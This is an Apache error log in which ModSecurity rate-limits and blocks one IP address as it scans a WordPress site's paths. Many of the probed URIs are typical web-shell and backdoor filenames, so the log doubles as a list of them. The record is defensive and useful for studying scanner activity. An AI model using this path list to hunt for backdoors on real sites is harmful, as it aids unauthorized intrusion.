[Wed Apr 15 19:14:15.522804 2026] [:error] [pid 37370:tid 37383] [client 20.215.250.56:13481] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "ad9zB3g-gnM2Ga0cGAAB9QAAAQs"]
[Wed Apr 15 19:14:16.281805 2026] [:error] [pid 30958:tid 31028] [client 20.215.250.56:42232] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "ad9zCMeG3wSKTO7NWFGLnAAAAMw"]
[Wed Apr 15 19:14:17.562965 2026] [:error] [pid 30958:tid 31021] [client 20.215.250.56:24386] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "ad9zCceG3wSKTO7NWFGLngAAAMU"]
[Wed Apr 15 19:14:19.963878 2026] [:error] [pid 30958:tid 31020] [client 20.215.250.56:36258] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "ad9zC8eG3wSKTO7NWFGLpAAAAMQ"]
[Wed Apr 15 19:14:28.589644 2026] [:error] [pid 30957:tid 31006] [client 20.215.250.56:51960] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "ad9zFH5gwVEVXHfVSipvJQAAAFE"]
[Wed Apr 15 19:14:37.335148 2026] [:error] [pid 37370:tid 37377] [client 20.215.250.56:12323] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/asd.php"] [unique_id "ad9zHXg-gnM2Ga0cGAACCAAAAQU"]
[Wed Apr 15 19:14:39.191075 2026] [:error] [pid 37370:tid 37375] [client 20.215.250.56:14881] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/asd.php"] [unique_id "ad9zH3g-gnM2Ga0cGAACNgAAAQM"]
[Wed Apr 15 19:14:49.198869 2026] [:error] [pid 31053:tid 31076] [client 20.215.250.56:19537] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/vx.php"] [unique_id "ad9zKRcEkLCmvF0fjDep-QAAAJQ"]
[Wed Apr 15 19:14:50.549058 2026] [:error] [pid 30957:tid 31002] [client 20.215.250.56:13708] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/vx.php"] [unique_id "ad9zKn5gwVEVXHfVSipvaAAAAE0"]
[Wed Apr 15 19:14:51.423736 2026] [:error] [pid 31053:tid 31078] [client 20.215.250.56:50608] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/vx.php"] [unique_id "ad9zKxcEkLCmvF0fjDeqAAAAAJY"]
[Wed Apr 15 19:14:52.605622 2026] [:error] [pid 37370:tid 37379] [client 20.215.250.56:10400] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/vx.php"] [unique_id "ad9zLHg-gnM2Ga0cGAACRwAAAQc"]
[Wed Apr 15 19:14:53.683606 2026] [:error] [pid 37370:tid 37373] [client 20.215.250.56:26572] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "ad9zLXg-gnM2Ga0cGAACSwAAAQE"]
[Wed Apr 15 19:14:55.118741 2026] [:error] [pid 37370:tid 37385] [client 20.215.250.56:30387] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "ad9zL3g-gnM2Ga0cGAACUAAAAQ0"]
[Wed Apr 15 19:14:56.163184 2026] [:error] [pid 30957:tid 31011] [client 20.215.250.56:49701] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "ad9zMH5gwVEVXHfVSipvcAAAAFY"]
[Wed Apr 15 19:14:56.997897 2026] [:error] [pid 37370:tid 37389] [client 20.215.250.56:59354] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "ad9zMHg-gnM2Ga0cGAACWwAAARE"]
[Wed Apr 15 19:14:58.272209 2026] [:error] [pid 30956:tid 30964] [client 20.215.250.56:17964] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-access.php"] [unique_id "ad9zMkBGUpjaWntNYq1gDwAAAAQ"]
[Wed Apr 15 19:14:59.277391 2026] [proxy_fcgi:error] [pid 30957:tid 31010] [client 20.215.250.56:59342] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:14:59.963602 2026] [proxy_fcgi:error] [pid 30957:tid 31007] [client 20.215.250.56:59342] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:15:00.544517 2026] [proxy_fcgi:error] [pid 30957:tid 31005] [client 20.215.250.56:59342] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:15:00.804903 2026] [proxy_fcgi:error] [pid 30957:tid 30989] [client 20.215.250.56:59342] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:15:01.090615 2026] [proxy_fcgi:error] [pid 30957:tid 31002] [client 20.215.250.56:59342] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:15:01.407782 2026] [proxy_fcgi:error] [pid 30957:tid 30992] [client 20.215.250.56:59342] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:15:01.784708 2026] [proxy_fcgi:error] [pid 30957:tid 30994] [client 20.215.250.56:59342] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:15:02.043376 2026] [proxy_fcgi:error] [pid 30957:tid 30999] [client 20.215.250.56:59342] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:15:02.394677 2026] [proxy_fcgi:error] [pid 30957:tid 31012] [client 20.215.250.56:59342] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:15:02.717045 2026] [proxy_fcgi:error] [pid 30957:tid 31003] [client 20.215.250.56:59342] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:15:03.019404 2026] [:error] [pid 30957:tid 30996] [client 20.215.250.56:59342] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aboutc.php"] [unique_id "ad9zN35gwVEVXHfVSipvfwAAAEc"]
[Wed Apr 15 19:15:03.671811 2026] [:error] [pid 37370:tid 37382] [client 20.215.250.56:45748] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aboutc.php"] [unique_id "ad9zN3g-gnM2Ga0cGAACYQAAAQo"]
[Wed Apr 15 19:15:04.447462 2026] [:error] [pid 37370:tid 37373] [client 20.215.250.56:31539] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aboutc.php"] [unique_id "ad9zOHg-gnM2Ga0cGAACZQAAAQE"]
[Wed Apr 15 19:15:05.649993 2026] [:error] [pid 37370:tid 37372] [client 20.215.250.56:5037] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aboutc.php"] [unique_id "ad9zOXg-gnM2Ga0cGAACbQAAAQA"]
[Wed Apr 15 19:15:06.688146 2026] [:error] [pid 37370:tid 37392] [client 20.215.250.56:20284] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fs.php"] [unique_id "ad9zOng-gnM2Ga0cGAACcQAAARQ"]
[Wed Apr 15 19:15:08.126208 2026] [:error] [pid 37370:tid 37379] [client 20.215.250.56:20266] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fs.php"] [unique_id "ad9zPHg-gnM2Ga0cGAACeQAAAQc"]
[Wed Apr 15 19:15:08.896056 2026] [:error] [pid 37370:tid 37372] [client 20.215.250.56:28415] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fs.php"] [unique_id "ad9zPHg-gnM2Ga0cGAACgAAAAQA"]
[Wed Apr 15 19:15:10.566531 2026] [:error] [pid 30957:tid 31010] [client 20.215.250.56:13700] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fs.php"] [unique_id "ad9zPn5gwVEVXHfVSipvgQAAAFU"]
[Wed Apr 15 19:15:11.589366 2026] [:error] [pid 37370:tid 37375] [client 20.215.250.56:20277] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws82.php"] [unique_id "ad9zP3g-gnM2Ga0cGAACkwAAAQM"]
[Wed Apr 15 19:15:13.179004 2026] [:error] [pid 37370:tid 37387] [client 20.215.250.56:45727] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws82.php"] [unique_id "ad9zQXg-gnM2Ga0cGAACmwAAAQ8"]
[Wed Apr 15 19:15:14.733473 2026] [:error] [pid 37370:tid 37387] [client 20.215.250.56:42718] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws82.php"] [unique_id "ad9zQng-gnM2Ga0cGAACogAAAQ8"]
[Wed Apr 15 19:15:18.311761 2026] [:error] [pid 30957:tid 31002] [client 20.215.250.56:42722] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws82.php"] [unique_id "ad9zRn5gwVEVXHfVSipvhQAAAE0"]
[Wed Apr 15 19:15:20.014369 2026] [:error] [pid 37370:tid 37386] [client 20.215.250.56:30005] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "ad9zSHg-gnM2Ga0cGAACvAAAAQ4"]
[Wed Apr 15 19:15:21.898142 2026] [:error] [pid 37370:tid 37386] [client 20.215.250.56:36907] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "ad9zSXg-gnM2Ga0cGAACwQAAAQ4"]
[Wed Apr 15 19:15:22.745782 2026] [:error] [pid 30956:tid 30966] [client 20.215.250.56:38195] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "ad9zSkBGUpjaWntNYq1gHQAAAAY"]
[Wed Apr 15 19:15:23.785524 2026] [:error] [pid 30958:tid 31027] [client 20.215.250.56:38239] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "ad9zS8eG3wSKTO7NWFGMEgAAAMs"]
[Wed Apr 15 19:15:24.809604 2026] [:error] [pid 37370:tid 37374] [client 20.215.250.56:59350] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws48.php"] [unique_id "ad9zTHg-gnM2Ga0cGAACzAAAAQI"]
[Wed Apr 15 19:15:26.584302 2026] [:error] [pid 30958:tid 31027] [client 20.215.250.56:4636] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws48.php"] [unique_id "ad9zTseG3wSKTO7NWFGMGAAAAMs"]
[Wed Apr 15 19:15:27.427461 2026] [:error] [pid 37370:tid 37378] [client 20.215.250.56:29966] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws48.php"] [unique_id "ad9zT3g-gnM2Ga0cGAAC0gAAAQY"]
[Wed Apr 15 19:15:28.581969 2026] [:error] [pid 30956:tid 30972] [client 20.215.250.56:51390] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws48.php"] [unique_id "ad9zUEBGUpjaWntNYq1gIAAAAAw"]
[Wed Apr 15 19:15:29.591303 2026] [:error] [pid 37370:tid 37396] [client 20.215.250.56:11928] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-the.php"] [unique_id "ad9zUXg-gnM2Ga0cGAAC2QAAARg"]
[Wed Apr 15 19:15:30.584554 2026] [:error] [pid 31053:tid 31058] [client 20.215.250.56:59358] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-the.php"] [unique_id "ad9zUhcEkLCmvF0fjDeqKwAAAII"]
[Wed Apr 15 19:15:31.493146 2026] [:error] [pid 30958:tid 31033] [client 20.215.250.56:51333] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-the.php"] [unique_id "ad9zU8eG3wSKTO7NWFGMGgAAANE"]
[Wed Apr 15 19:15:32.222807 2026] [:error] [pid 31053:tid 31079] [client 20.215.250.56:4608] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-the.php"] [unique_id "ad9zVBcEkLCmvF0fjDeqMQAAAJc"]
[Wed Apr 15 19:15:33.202194 2026] [:error] [pid 31053:tid 31061] [client 20.215.250.56:38251] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp5.php"] [unique_id "ad9zVRcEkLCmvF0fjDeqNQAAAIU"]
[Wed Apr 15 19:15:34.901707 2026] [:error] [pid 31053:tid 31057] [client 20.215.250.56:59382] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp5.php"] [unique_id "ad9zVhcEkLCmvF0fjDeqOQAAAIE"]
[Wed Apr 15 19:15:36.017365 2026] [:error] [pid 31053:tid 31074] [client 20.215.250.56:26616] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp5.php"] [unique_id "ad9zWBcEkLCmvF0fjDeqOwAAAJI"]
[Wed Apr 15 19:15:38.433023 2026] [:error] [pid 31053:tid 31063] [client 20.215.250.56:8454] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp5.php"] [unique_id "ad9zWhcEkLCmvF0fjDeqXgAAAIc"]
[Wed Apr 15 19:15:42.948873 2026] [:error] [pid 30956:tid 30984] [client 20.215.250.56:16863] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xxx.php"] [unique_id "ad9zXkBGUpjaWntNYq1gIwAAABg"]
[Wed Apr 15 19:15:44.365316 2026] [:error] [pid 30958:tid 31038] [client 20.215.250.56:7691] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xxx.php"] [unique_id "ad9zYMeG3wSKTO7NWFGMHgAAANY"]
[Wed Apr 15 19:15:46.129136 2026] [:error] [pid 30956:tid 30971] [client 20.215.250.56:59339] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xxx.php"] [unique_id "ad9zYkBGUpjaWntNYq1gJgAAAAs"]
[Wed Apr 15 19:15:49.935874 2026] [:error] [pid 37370:tid 37381] [client 20.215.250.56:8098] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xxx.php"] [unique_id "ad9zZXg-gnM2Ga0cGAADVwAAAQk"]
[Wed Apr 15 19:15:52.231118 2026] [:error] [pid 31053:tid 31076] [client 20.215.250.56:4829] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wen.php"] [unique_id "ad9zaBcEkLCmvF0fjDeq1AAAAJQ"]
[Wed Apr 15 19:15:54.001531 2026] [:error] [pid 31053:tid 31074] [client 20.215.250.56:27285] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wen.php"] [unique_id "ad9zahcEkLCmvF0fjDeq2wAAAJI"]
[Wed Apr 15 19:16:02.309362 2026] [proxy_fcgi:error] [pid 37370:tid 37392] [client 20.215.250.56:36980] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:16:02.641624 2026] [proxy_fcgi:error] [pid 37370:tid 37378] [client 20.215.250.56:36980] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:16:03.660051 2026] [proxy_fcgi:error] [pid 37370:tid 37375] [client 20.215.250.56:36980] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:16:04.159936 2026] [proxy_fcgi:error] [pid 37370:tid 37391] [client 20.215.250.56:36980] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:16:05.682942 2026] [proxy_fcgi:error] [pid 37370:tid 37381] [client 20.215.250.56:36980] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:16:05.942640 2026] [proxy_fcgi:error] [pid 37370:tid 37378] [client 20.215.250.56:36980] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:16:06.388008 2026] [proxy_fcgi:error] [pid 37370:tid 37382] [client 20.215.250.56:36980] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:16:06.647004 2026] [proxy_fcgi:error] [pid 37370:tid 37380] [client 20.215.250.56:36980] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:16:06.980130 2026] [proxy_fcgi:error] [pid 37370:tid 37396] [client 20.215.250.56:36980] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:16:07.292197 2026] [proxy_fcgi:error] [pid 37370:tid 37372] [client 20.215.250.56:36980] AH01071: Got error 'Primary script unknown'
